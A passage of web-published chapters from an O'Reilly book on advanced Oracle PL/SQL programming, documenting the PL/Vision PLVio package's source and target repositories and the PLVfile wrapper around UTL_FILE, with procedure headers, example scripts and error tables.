The settrg procedure transfers the arguments to the trgrep record, which is defined using the repos_rectype shown earlier. If you are using a database target, then the INSERT statement that will be used to write lines to that table is constructed as follows:

trgrep.insert_sql :=
   'INSERT INTO ' || trgrep.name ||
      '( ' ||
      target_name_col_in || ', ' ||
      trgtype_col_in || ', ' ||
      target_line#_col_in || ', ' ||
      target_text_col_in || ') ' ||
   'VALUES (:name, :type, :line, :text)';

Notice that in the INSERT statement the name of the table and its columns are not hard-coded. You can establish those names in your call to PLVio.settrg. For example, if the target table is structured like this:

CREATE TABLE temp_target
   (progname VARCHAR2(100),
    progtype VARCHAR2(30),
    linenum INTEGER,
    linetext VARCHAR2(120));

then you would need to call settrg as follows:

PLVio.settrg
    (PLV.dbtab, 'temp_target',
     'progname', 'progtype',
     'linenum', 'linetext');

If you are using a string target, all arguments after the first are ignored. Lines of text are written to the string_repos.text_out field with newline characters inserted between lines.

If you are using a file target, then the name_in argument is the name of the file. All other arguments are ignored. Lines of text are written to the file in the order of execution.

NOTE: Only the Write mode (replacing current contents of file) is supported. You cannot use PLVio to append to the end of a file.

12.5.1 Initializing the Target

Since there are really no intermediate actions between setting and initializing the target repository, the first line of settrg executes inittrg, so there is no need for you to do so explicitly.

If the target is a PL/SQL table, the PLVio target_table is emptied. If the target is a string, string_repos.text_out is set to NULL.

Currently, if the target is a database table or file, no initialization actions are taken. You will, therefore, need to perform the appropriate management on these data structures before using the PLVio.put_line procedure.

Previous: 12.4 The Source WHERE Clause | Advanced Oracle PL/SQL Programming with Packages | Next: 12.6 Reading From the Source
12.4 The Source WHERE Clause | Book Index | 12.6 Reading From the Source
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 12] 12.6 Reading From the Source

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

12.6 Reading From the Source

The PLVio.get_line procedure is the core program for reading from the source. This header for this program is:

PROCEDURE get_line
   (line_inout IN OUT line_type,
    curr_line#_in IN INTEGER := NULL);

The first argument, line_inout, is a record of type line_type (defined in the PLVio specification). The second argument, curr_line#, provides a current line number; if that number is not NULL, it will be used to increment the line# value found in the line_inout record.

The record contains all the information about a line necessary either for PLVio activity or other actions on a line of text. The definition of the record TYPE is:

TYPE line_type IS RECORD
   (text VARCHAR2(2000) := NULL,
    len INTEGER := NULL,
    pos INTEGER := 1,
    line INTEGER := 0, /* line # in original */
    line# INTEGER := 0,	/* line # for new */
    is_blank BOOLEAN := FALSE,
    eof BOOLEAN := FALSE);

The following table explains the different fields of a line_type record:

text | The line of text.
len | The length of the line of text.
pos | The current position of a scan through this line.
line | The line number associated with this text in the source.
line# | The line number associated with this text in the target.
is_blank | TRUE if the text RTRIMS to NULL.
eof | TRUE if no line was placed into the record.

12.6.1 Main Steps of get_line

The get_line procedure has two main steps:

  1. Read a line from the source repository. If reading from a database table, get_line uses the DBMS_SQL builtin package to fetch the next row and read the text and line number from the retrieved data. If reading from a file, get_line calls the PLVfile.get_line procedure. If reading from a string, get_line finds the next newline character and uses SUBSTR to extract the desired characters.

  2. Massage the data retrieved from the repository so that the values of all record fields are set properly. Assuming that data was found (the eof field is not set to TRUE), then the following actions are taken: replace newline characters with single spaces, replace tab characters with three spaces, increment the line number (using the second argument in the call to get_line, if provided), set the pos field to 1, set is_blank to TRUE if the string is composed solely of blanks, and compute the length of the line of text.

When these two steps are completed, the newly populated record is returned to the calling program.

12.6.2 Using get_line

To give you an idea of how you can put get_line to use, consider the SQL*Plus script shown below. Stored in file inline2.sql, this program displays all the lines of code in a given program that contain the specified string.

DECLARE
   line PLVio.line_type;
BEGIN
   PLVobj.setcurr ('&1');
   PLVio.asrc (where_in => 'INSTR (text, ''&2'') > 0');
   LOOP
      PLVio.get_line (line);
      EXIT WHEN line.eof;
      p.l (line.text);
   END LOOP;
   PLVio.closesrc;
END;
/

I call PLVobj.setcurr to set the current object to the requested program. I then point the source repository to ALL_SOURCE and add an element to the WHERE clause that will find only those lines in which the INSTR on the second argument returns a nonzero location. Now I am all set to loop through the rows identified by this WHERE clause. I exit when the eof field is set to TRUE; otherwise, I display the line and then call get_line again. Finally, I close the source when I am done, freeing up the memory used to read through ALL_SOURCE.

Here is an example of output from the inline2 program:

SQL>  start inline2 b:PLVio SUBSTR
         (SUBSTR (srcrep.select_sql, 1, loc-1) ||
          SUBSTR (srcrep.select_sql, loc));
             SUBSTR (srcrep.where_clause, 1, loc-1) ||
             SUBSTR (srcrep.where_clause, loc2+cmnt_len-1);
             SUBSTR
          SUBSTR
      RETURN SUBSTR (line_in.text, pos_in);

You might compare the implementation of this functionality in inline2.sql with the approach taken in the inline.sql script. What are the differences between the two implementations? Which would you prefer to use and maintain?

Previous: 12.5 Managing the Target Repository | Advanced Oracle PL/SQL Programming with Packages | Next: 12.7 Writing to the Target
12.5 Managing the Target Repository | Book Index | 12.7 Writing to the Target
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 12] 12.7 Writing to the Target

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

12.7 Writing to the Target

The put_line procedure of PLVio writes text to the target repository. Its header is overloaded as follows:

PROCEDURE put_line
   (string_in IN VARCHAR2, line#_in IN INTEGER := NULL);

PROCEDURE put_line (line_in IN line_type);

The first, "string" version of put_line simply bundles the text and line number into a record of type line_type and then calls the second, "record" version of put_line as shown below:

PROCEDURE put_line
   (string_in IN VARCHAR2, line#_in IN INTEGER := NULL)
IS
   v_line line_type;
BEGIN
   v_line.text := string_in;
   v_line.line# := line#_in;
   put_line (v_line);
END;

Why do I bother with these two versions? To make the package as easy as possible to use. In many situations, you will simply want to take a string and an optional line number and throw it out into the target. You aren't dealing with the more complex aspects of PLVio and therefore have no need for a line record. In this situation, calling the "record version" of put_line becomes a hassle. By writing a few extra lines of code into the package itself, I relieve my users of the burden of declaring a throw-away data structure -- the line_type record.

If you plan to build reusable code that will really and truly be reused, you will need to make this kind of extra effort.

The put_line procedure (which from this point on refers to the record version) hides all of the complexity about the current target. You simply tell PLVio that you want to put a line in the target; it worries about the specific mechanics required for the current type of repository, as discussed below.

12.7.1 Putting to Different Repositories

If writing to a file, put_line calls its comrade-in-code, PLVfile.put_line. All details are pushed down to this building block package. This lower-level layer of code helps PLVio avoid being bogged down in writing to an operating system file.

If writing to a string, put_line concatenates the new text onto the existing string_repos.text_out value, making sure to append the specified line to the current value of string_repos.text_out with an intervening newline character:

ELSIF string_target
THEN
   IF string_repos.text_out IS NULL
   THEN
      string_repos.text_out := line_in.text;
   ELSE
      string_repos.text_out :=
         string_repos.text_out ||
         PLVchr.newline_char ||
         line_in.text;
   END IF;

The use of the newline character allows you to dump the contents of this string into a readable format either for display purposes or for spooling to a file.

When writing to a PL/SQL table, put_line assigns the value to the appropriate row in the table. If standard output is the target, p.l is used to display the text.

Finally, if the target is a database table, put_line makes use of dynamic SQL (using the builtin DBMS_SQL package and the PL/Vision PLVdyn and PLVobj packages) to insert a row in the table and then (at the interval specified by PLVcmt) possibly perform a commit as well. The program name and type that are written to the database table (see settrg for information on specifying the names of the columns holding this information) are taken from the PLVobj current object.

NOTE: When you are writing to an operating system file, you must execute the PLVio.closetrg command to close the file before you can see any of the new information you have written to the file.

12.7.2 Batch Transfer of Source to Target

PLVio provides a procedure named src2trg; with a single line of code, this procedure copies the specified contents of the source repository to the target. The header for src2trg is:

PROCEDURE src2trg (close_in IN BOOLEAN := TRUE);

If you pass a value of TRUE in your call to src2tg, then src2trg will also close the target when it is done performing the transfer. You will almost certainly want to do this when you are writing to a file.

The src2trg procedure executes a loop to read through the source with get_lines and write to the target with put_lines, as the body of the procedure makes clear:

PROCEDURE src2trg
IS
   line line_type;
BEGIN
   LOOP
      get_line (line);
      EXIT WHEN line.eof;
      put_line (line);
   END LOOP;

   IF close_in
   THEN
      closetrg;
   ENDIF;
END;

I wrote this procedure for the PLVhlp.show procedure. This program needs to read all the help text from the source and transfer it to a PL/SQL table. From that point on, the more program displays a page's worth of text from the PL/SQL table using the PLVio.disptrg procedure (described in the next section).

12.7.3 Displaying the Target Repository

The disptrg procedure displays the contents of the target repository. Its header is:

PROCEDURE disptrg
   (header_in IN VARCHAR2 := NULL,
    start_in IN INTEGER := 1,
    end_in IN INTEGER := target_row);

The first argument, header_in, is an optional header to describe the output. The second and third arguments, also optional, restrict the lines to be displayed. These arguments are currently used only when the target type is PL/SQL table. For all other target types, all the code found in the target will be displayed.

Let's look at an example of using disptrg. In the following script (stored in file dumpemp.sql), I employ PLVio to write information to a table and then display it. This script simply transfers employee names from emp to the target PL/SQL table and then displays the contents of the target. Notice that I do not use PLVio for reading from any kind of source repository. I am only using the target side of PLVio. No one says you have to employ both source and target repositories of PLVio.

BEGIN
   PLVio.settrg (PLV.pstab);
   FOR emp_rec IN
       (SELECT ename FROM emp WHERE deptno = &1)
   LOOP
      PLVio.put_line (emp_rec.ename);
   END LOOP;
   PLVio.disptrg;
END;
/

Here is an example of the execution of dumpemp.sql:

SQL> start dumpemp 20
Contents of Table
JONES
FORD
SMITH
SCOTT
ADAMS

I could remove the first line of the script, which sets the target, and the rest of the script would work just fine. With this simple action, the script would work with whatever target has been selected outside of the script. The call to put_line would add a line to the target. And the final call to PLVio.disptrg would display the current target's contents. The utility and applicability of disptrg are kept distinct from the particular target.

Previous: 12.6 Reading From the Source | Advanced Oracle PL/SQL Programming with Packages | Next: 12.8 Saving and Restoring Settings
12.6 Reading From the Source | Book Index | 12.8 Saving and Restoring Settings
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 12] 12.8 Saving and Restoring Settings

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

12.8 Saving and Restoring Settings

The PLVio package is used by many PL/Vision packages and now you can use it as well. Code reusability is a wonderful thing, but it can get awfully dicey if one program's use of PLVio steps on another program's reliance on settings and data from PLVio. To help avoid such conflicts, PLVio can automatically save and restore its settings for the source and target repositories.

You get to decide when and if saves and restores should take place. To turn on saves/restores for the source repository, call the savesrc procedure (the default is to perform save/restores automatically). You can disable save/restore on source by calling the nosavesrc procedure. Finally, you can determine the current status of save/restore on source by displaying the value returned by the saving_src function. The headers for these programs are shown below:

PROCEDURE savesrc;
PROCEDURE nosavesrc;
FUNCTION saving_src RETURN BOOLEAN;

To turn on saves/restores for the target repository, call the savetrg procedure (the default is to perform save/restores automatically). You can disable save/restore on the target by calling the nosavetrg procedure. Finally, you can determine the current status of save/restore on target by displaying the value returned by the saving_trg function. The headers for these programs are shown below:

PROCEDURE savetrg;
PROCEDURE nosavetrg;
FUNCTION saving_trg RETURN BOOLEAN;

The save/restore facility does not maintain a stack of settings. If you save on top of a previous save, the former save settings are wiped out.

NOTE: The values associated with the current source and target are saved, but the current position in a cursor or file, for example, cannot be maintained with a simple call to savesrc or savetrg. If you switch source or target in the middle of getting or putting data, you will not be able to rely on a restore to put you right back where you were.

Previous: 12.7 Writing to the Target | Advanced Oracle PL/SQL Programming with Packages | Next: 12.9 Cleaning Up Source and Target
12.7 Writing to the Target | Book Index | 12.9 Cleaning Up Source and Target
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 12] 12.9 Cleaning Up Source and Target

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

12.9 Cleaning Up Source and Target

PLVio provides several programs so that you can clean up after yourself when using the package. These programs are described below.

12.9.1 Closing the Source

When you are done reading from the source repository, you should close it. The header for the closesrc procedure is:

PROCEDURE closesrc;

If the source is a database table, closesrc closes the dynamic SQL cursor. If the source is a file, the procedure closes the file. For a string or PL/SQL table source, no action is taken.

It is extremely important that you close your source; otherwise, a cursor or file will remain open for the duration of your session. This could lead to errors or unnecessary memory utilization.

The closesrc program will also automatically restore the PLVio settings if they were saved (i.e., if PLVio.saving_src returns TRUE).

12.9.2 Closing the Target

When you are done writing to the target repository, you should close it. The header for the closetrg procedure is:

PROCEDURE closetrg;

If the target is a database table, then closetrg calls PLVcmt.perform_commit to save your writes to the target (you can disable the commit with a call to PLVcmt.turn_off). If the source is a file, the procedure closes the file. For a string or PL/SQL table source, no action is taken.

When your target is a database table or a file, it is extremely important that you close your target. If you skip this step for a file, for example, that file might remain open for the duration of your session. You could also have outstanding transactions (the inserts to the target table) which are wiped out by a subsequent and perhaps unrelated rollback. This could lead to errors or unnecessary memory utilization.

The closetrg program will also automatically restore the PLVio settings if they were saved.

12.9.3 Clearing the Target

Before you write to a target repository, you may want to make sure that it is empty. The clrtrg procedure performs this action; its header is shown below:

PROCEDURE clrtrg
   (program_name_in IN VARCHAR2 := NULL,
    program_type_in IN VARCHAR2 := NULL);

The two arguments provide the name and type of program to be removed from the target source repository. These arguments are used only when the target is a database table. If the supplied values are NULL (the default), then the table identified in the call to settrg will be truncated using PLVdyn.

If you do provide a name and/or type, clrtrg uses those values to construct a WHERE clause so that only the specified program and type will be removed from the database table.

Remember that the default target database table is structured to hold the source code for one or more programs (it looks just like USER_SOURCE).

Suppose that I have called settrg as follows:

PLVio.settrg (PLV.pstab, 'new_source');

This means that I will be writing my text out to a table with this structure:

SQL> desc new_source
 Name       Null?    Type
 ---------- -------- --------------
 NAME       NOT NULL VARCHAR2(30)
 TYPE                VARCHAR2(12)
 LINE       NOT NULL NUMBER
 TEXT                VARCHAR2(2000)

This first call to clrtrg, then, will remove all records from the new_source table:

PLVio.clrtrg;

This next call to clrtrg will remove all package bodies stored in the table:

PLVio.clrtrg (program_type_in => 'PACKAGE BODY');

And this last call to clrtrg will remove the code for the calc_totals procedure:

PLVio.clrtrg ('calc_totals', 'procedure');

Currently, clrtrg only operates on database table targets.

Special Notes on PLVio

Here are some factors to consider when working with PLVio:

  • The PLVio package comes in two flavors, depending on the version of the database you are using. The PLVio.sps and PLVio.spb files contain the PLVio package compatible with PL/SQL Release 2.2 and earlier. The PLVio23.spb file makes use of the UTL_FILE builtin package and can only be used with PL/SQL Release 2.3 (it is called in the plvins23.sql installation script).

  • When the target is a database table, the put_line program will issue a commit by calling PLVcmt.increment_and_commit, as specified by the PLVcmt. commit_after procedure. If you do not want any commits to occur from within PLVio, call the commit_after program as follows:

PLVcmt.commit_after (0);

This command will turn off incremental commits, but it will still allow a PLVcmt.perform_commit to save changes. To turn off committing entirely, execute this command:

PLVcmt.turn_off

Previous: 12.8 Saving and Restoring Settings | Advanced Oracle PL/SQL Programming with Packages | Next: 13. PLVfile: Reading and Writing Operating System Files
12.8 Saving and Restoring Settings | Book Index | 13. PLVfile: Reading and Writing Operating System Files
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 13] PLVfile: Reading and Writing Operating System Files

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book
Previous: 12.9 Cleaning Up Source and Target Chapter 13 Next: 13.2 Specifying the File in PLVfile

13. PLVfile: Reading and Writing Operating System Files

Contents:
A Review of UTL_FILE
Specifying the File in PLVfile
Creating and Checking Existence of Files
Opening and Closing Files
Reading From a File
Writing to a File
Copying File Contents
Displaying File Contents
Handling File Errors with PLVfile
Tracing PLVfile Activity

The PLVfile (PL/Vision FILE package) provides a layer of code around the builtin UTL_FILE package (which is available only with Release 2.3 of PL/SQL and beyond). UTL_FILE allows you to read from and write to operating system files on the same machine in which the database instance is running. The ability to read and write operating system files has been a long-standing request ("desperate plea" would, perhaps, be a better description) of PL/SQL developers.

The PLVfile package provides a number of high-level programs, such as fcopy to copy files, and infile, a file-oriented version of INSTR, to make it easier for PL/SQL developers to take advantage of this very useful builtin package.

This chapter show how to use each of the different elements of the PLVfile package.

13.1 A Review of UTL_FILE

Before you dive in to using either UTL_FILE or the PLVfile package, however, you should review the following information about UTL_FILE. Chapter 15 of Oracle PL/SQL Programming offers more detail about these topics and the programs of the UTL_FILE package. The following sections offer some information about UTL_FILE that you need to know in order to use PLVfile properly.

13.1.1 Enabling File Access in the Oracle Server

To use the UTL_FILE package, you must add a line to the initialization file or init.ora for your database instance that indicates the directories in which you can read and write operating system files. This precaution is taken by Oracle so that you do not inadvertently corrupt important files like the database log files.

The entry in the init.ora file can have one of two formats:

utl_file_dir='*'
or
utl_file_dir='dir1,dir2...dirn'

where dir1 through dirn are individual, specific directory listings. If you use the first format, you are telling the Oracle database that developers can use UTL_FILE to write to any directory.

13.1.2 File Handles

Before you can do anything with a file, you have to open it (this process is explained below). At this point, UTL_FILE returns a handle or pointer to that file. You will then use this handle in all future manipulations of the file. A file handle has a special datatype of UTL_FILE.FILE_TYPE. FILE_TYPE is actually a PL/SQL record whose fields contain all the information about the file needed by UTL_FILE. (Currently, the record consists of a single column, named "id".)

You will reference the file handle, but not any of the individual fields of the handle. A handle is declared as follows:

DECLARE
   file_handle UTL_FILE.FILE_TYPE;
BEGIN

You could display the file handle which is generated by a call to UTL_FILE.FOPEN or the corresponding PLVfile.fopen functions as follows:

DECLARE
   file_handle UTL_FILE.FILE_TYPE;
BEGIN
   file_handle := PLVfile.fopen ('login.sql', PLVfile.c_read);
   p.l (file_handle.id);
END;
/

The p.l procedure is also overloaded in the PL/SQL 2.3 version so you can pass it the file handle directly and it will display the id field, as shown here:

p.l (file_handle);

Many PLVfile programs give you the option of providing either the file name or the file handle. In some cases, such as when you read from a file, you must use the file handle. In other situations, you can choose your method of specifying the file you want.

13.1.3 File Location, Name, and Mode

When you open a file with the UTL_FILE.FOPEN function, you must provide three arguments, as shown in the header below:

FUNCTION FOPEN
   (location_in IN VARCHAR2, file_name_in IN VARCHAR2,
    file_mode_in IN VARCHAR2)
RETURN UTL_FILE.FILE_TYPE;

The first argument is the location of the file (the directory); the second is the name of the file (name and extension); and the third is the file mode: "R" for read-only, "W" for write-only, and "A" for append.

While UTL_FILE needs all of this information, you should not necessarily have to provide it all every time you want to perform a file-related action. To make it easier for developers to work with files, PLVfile offers several options for opening and referencing files. You can provide separate locations and names in the UTL_FILE format. You can also provide a single string that which contains both the location and name and let PLVfile parse that string into its separate components.

See Section 13.2, "Specifying the File in PLVfile" for more information on the approach taken by PL/Vision.

13.1.4 Handling UTL_FILE Errors

The UTL_FILE package provides a set of package-based exceptions and also makes use of two, more generic exceptions to inform you of problems it encounters. These exceptions are shown in Table 13.1.

It is great that the UTL_FILE package offers some predefined exceptions. By providing specific names for different exception conditions, I can trap for and handle those conditions. The downside of this approach is that I need to include explicit exception handlers by name, as shown below:

EXCEPTION
   WHEN UTL_FILE.INVALID_PATH
   THEN
      p.l ('Invalid path');

If I try to use a WHEN OTHERS clause instead (as you can see, there are many UTL_FILE-specific exceptions), the SQLCODE function simply and uniformly returns the number 1 -- indicating a user-defined exception. I cannot, in other words, determine which of the UTL_FILE exceptions occurred.

Table 13.1: Exceptions Related to the UTL_FILE Package

Exception Name

Description

NO_DATA_FOUND

The GET_LINE procedure tried to read past the end of the file. Remember that this same exception is also raised by implicit cursors and references to PL/SQL tables.

UTL_FILE.INTERNAL_ERROR

An internal error occurred. The requested operation was not completed.

UTL_FILE.INVALID_FILE_HANDLE

The specified file handle does not identify a valid, open file. This exception may be raised by calls to FCLOSE and FFLUSH.

UTL_FILE.INVALID_MODE

The mode supplied to FOPEN is not valid. Valid modes are: `a', `r', or `w' (upper or lower case is acceptable).

UTL_FILE.INVALID_OPERATION

In FOPEN, this exception is raised when the file cannot be opened as requested. To open a file in read or append mode, the file must exist already. To open in write mode, the file must be writeable/ createable.

In GET_LINE, FFLUSH, NEW_LINE, PUT, PUTF, and PUT_LINE, this exception is raised when you try to perform an operation which is incompatible with the mode under which the file was opened. For example, you tried to write to a read-only file.

UTL_FILE.INVALID_PATH

The path name supplied in a call to FOPEN is not valid. This error occurs when the location is not accessible or the path name is improperly constructed.

UTL_FILE.READ_ERROR

An operating system-specific error occurred when you tried to read from the file. For example, there might be a disk error.

UTL_FILE.WRITE_ERROR

An operating system-specific error occurred when you tried to write to the file. For example, the disk might be full.

VALUE_ERROR

The text read by GET_LINE is too long to fit in the specified buffer.

To help you deal with this situation, PLVfile offers the exc_section procedure, which predefines all these handlers (see Section 13.9, "Handling File Errors with PLVfile").

Previous: 12.9 Cleaning Up Source and Target | Advanced Oracle PL/SQL Programming with Packages | Next: 13.2 Specifying the File in PLVfile
12.9 Cleaning Up Source and Target | Book Index | 13.2 Specifying the File in PLVfile
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 13] 13.2 Specifying the File in PLVfile

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

13.2 Specifying the File in PLVfile

Now that you are aware of the way that UTL_FILE works, let's look at how PLVfile makes it easier to use the builtin package.

First of all, rather than insist that you separate out the file location from the file name to open and manipulate files, PLVfile provides a set of programs to make it easier to specify files. These programs are discussed below.

13.2.1 Setting the Operating System Delimiter

Each operating system has a delimiter that it uses to separate out directories and subdirectories, as well as separating directories from file names. Since PLVfile allows you to specify a file name as a single string (directory and file name combined), it needs to know about the operating system delimiter.

Use the set_delim to set the operating system delimiter. Its header is:

PROCEDURE set_delim (delim_in IN VARCHAR2);

You can find out the current operating system delimiter by calling the delim function:

FUNCTION delim RETURN VARCHAR2;

The PLVfile package offers two predefined delimiters for UNIX and DOS as shown:

c_unixdelim CONSTANT VARCHAR2(1) := '/';
c_dosdelim CONSTANT VARCHAR2(1) := '\';

The default, initial setting for the OS delimiter is the UNIX delimiter: "/".

13.2.2 Setting the Default Directory

PLVfile maintains a current directory so that you do not have to continually specify a directory if you are always working in the same area on disk. To set the current directory, call the set_dir procedure. To determine the current setting for the directory, call the dir function. The headers for these programs are:

PROCEDURE set_dir (dir_in IN VARCHAR2);
FUNCTION dir RETURN VARCHAR2;

The following call to set_dir sets the default directory to a path in DOS:

SQL> exec PLVfile.set_dir ('c:\orawin\oe_app');

NOTE: If you do not call PLVfile.set_dir before passing in file names for reading and writing, there is a very good chance that your efforts to use PLVfile will be very frustrating. You will get errors that are difficult to understand, since you know your file exists. One way to minimize the frustration is to place a call to PLVfile.set_dir in your login.sql script.

Notice that I do not include a terminating backslash in the string. That "final" delimiter is needed when attaching the directory to the file name, but is neither needed nor legitimate for specifying a directory. In fact, if you include a final delimiter, PLVfile will strip it from the string, as shown below:

   PROCEDURE set_dir (dir_in IN VARCHAR2)
   IS
   BEGIN
      v_dir := RTRIM (dir_in, v_delim);
   END;

13.2.3 Parsing the File Name

PLVfile allows you to provide the file name as a single string. When you do this, PLVfile calls parse_name to parse the string into its separate components. The header for parse_name is:

PROCEDURE parse_name
   (file_in IN VARCHAR2, loc_out IN OUT VARCHAR2,
    name_out IN OUT VARCHAR2);

where file_in is the full file specification (location, name, and extension). The loc_out argument receives just the directory, while the name_out argument receives the name and extension. It relies on the operating system delimiter you assigned with a call to set_dir in order to find the start of the file name.

If the string you pass to parse_name does not have a directory prefixed on the file name, PLVfile will return the default directory as the location.

The following table shows how parse_name parses and returns values:

parse_name | Default Directory | File Location Returned | File Name Returned
/usr/app/names.lis | NULL | /usr/app | names.lis
/usr/app/names.lis | /oracle/prod/defdir | /usr/app | names.lis
names.lis | NULL | NULL | names.lis
names.lis | /oracle/prod/defdir | /oracle/prod/defdir | names.lis

This procedure is used extensively inside PLVfile (see Section 13.4, "Opening and Closing Files" for an example of how parse_name is used to overload several different versions of fopen). You can, however, also call parse_name directly in your own application. Just make sure that you have set the OS delimiter before you use parse_name.

Previous: 13.1 A Review of UTL_FILE | Advanced Oracle PL/SQL Programming with Packages | Next: 13.3 Creating and Checking Existence of Files
13.1 A Review of UTL_FILE | Book Index | 13.3 Creating and Checking Existence of Files
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 13] 13.3 Creating and Checking Existence of Files

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

13.3 Creating and Checking Existence of Files

PLVfile provides a program (four overloaded versions, actually) to create a file. The headers for fcreate are the following:

FUNCTION fcreate
   (loc_in IN VARCHAR2, file_in IN VARCHAR2, line_in IN VARCHAR2)
RETURN UTL_FILE.FILE_TYPE;

FUNCTION fcreate (file_in IN VARCHAR2, line_in IN VARCHAR2 := NULL)
RETURN UTL_FILE.FILE_TYPE;

PROCEDURE fcreate
   (loc_in IN VARCHAR2, file_in IN VARCHAR2, line_in IN VARCHAR2);

PROCEDURE fcreate (file_in IN VARCHAR2, line_in IN VARCHAR2 := NULL);

In versions of fcreate with three arguments, you provide the location, name, and single line to be deposited in the file. Notice that all three values are required. In versions of fcreate with two arguments, you provide the file specification (location and name combined, or just the name, in which case the default directory will be applied).

Notice that the overloading is not only among different parameter lists, but even different program types. I will explain this approach to overloading in PLVfile in this section; you will see it repeatedly throughout the package.

The overloading of fcreate achieves two objectives:

  1. It allows the developer to either obtain the handle to the newly created file (the function versions) or ignore that file handle entirely (the procedure versions). You'll want to retrieve the handle if you plan to perform other actions on that file. If you only want to create the file and then move on to other business, it will be easier and more intuitive to use the procedure versions.

  2. It allows the developer to provide the location and name separately (UTL_FILE style) or specify a single, combined string. The three-argument version requires all entries. The two-argument version allows you provide just a name; if you do not specify a line, it places the following default substitution line in the file:

    v_subst_line VARCHAR2(200) :=
   'I make my disk light blink, therefore I am.';

When you call fcreate, it "initializes" a file to the line you provide (or the default line value) and then it closes the file if you have called the procedure version of fcreate. On the other hand, if you have called the fcreate function, PLVfile returns the handle to the file and then keeps the file open.

13.3.1 Checking a File's Existence

Perhaps you only want to create a file if it already exists. PLVfile offers the fexists function to provide you with this information. The headers for this overloaded function are:

FUNCTION fexists (loc_in IN VARCHAR2, file_in IN VARCHAR2)
RETURN BOOLEAN;

FUNCTION fexists (file_in IN VARCHAR2)
RETURN BOOLEAN;

You can provide separate locations and file names, or simply pass in the single string with combined information. The function returns TRUE if the file can be opened for read-only access successfully. If the file is already open, this function will return FALSE -- so use fexists with care.

Previous: 13.2 Specifying the File in PLVfile | Advanced Oracle PL/SQL Programming with Packages | Next: 13.4 Opening and Closing Files
13.2 Specifying the File in PLVfile | Book Index | 13.4 Opening and Closing Files
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 13] 13.4 Opening and Closing Files

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

13.4 Opening and Closing Files

PLVfile offers its own fopen and fclose programs to open and close operating system files (UTL_FILE has programs of the same names). The fopen module is overloaded as shown below:

PROCEDURE fopen
   (loc_in IN VARCHAR2, file_in IN VARCHAR2, mode_in IN VARCHAR2);

PROCEDURE fopen
   (file_in IN VARCHAR2, mode_in IN VARCHAR2 := c_all);

FUNCTION fopen
   (file_in IN VARCHAR2, mode_in IN VARCHAR2 := c_all)
RETURN UTL_FILE.FILE_TYPE;

Use the function version of fopen when you want to retrieve and use the file handle. Otherwise, you can simply call either of the procedure versions to open the file and not worry about declaring a file handle.

The fclose and fclose_all procedures may be used to close one or all files. Their headers are:

PROCEDURE fclose (file_in IN UTL_FILE.FILE_TYPE);

PROCEDURE fclose_all;

Notice that there is no overloading of the fclose program. Until a reader or the author enhances PLVfile to maintain a PL/SQL table of opened file names and their handles, there is no way to close a file by name. The fclose_all procedure is a passthrough to UTL_FILE.FCLOSE_ALL, which shuts down any files that have been opened with the UTL_FILE.FOPEN program.

You may find it useful to include a call to fclose or, more likely, fclose_all, in the exception sections of programs that work with PLVfile. That way if your program fails during file manipulation, it will not leave a file open. If the file is left open, that could cause another, different error, the next time you try to run it.

Previous: 13.3 Creating and Checking Existence of Files | Advanced Oracle PL/SQL Programming with Packages | Next: 13.5 Reading From a File
13.3 Creating and Checking Existence of Files | Book Index | 13.5 Reading From a File
The Oracle Library Navigation

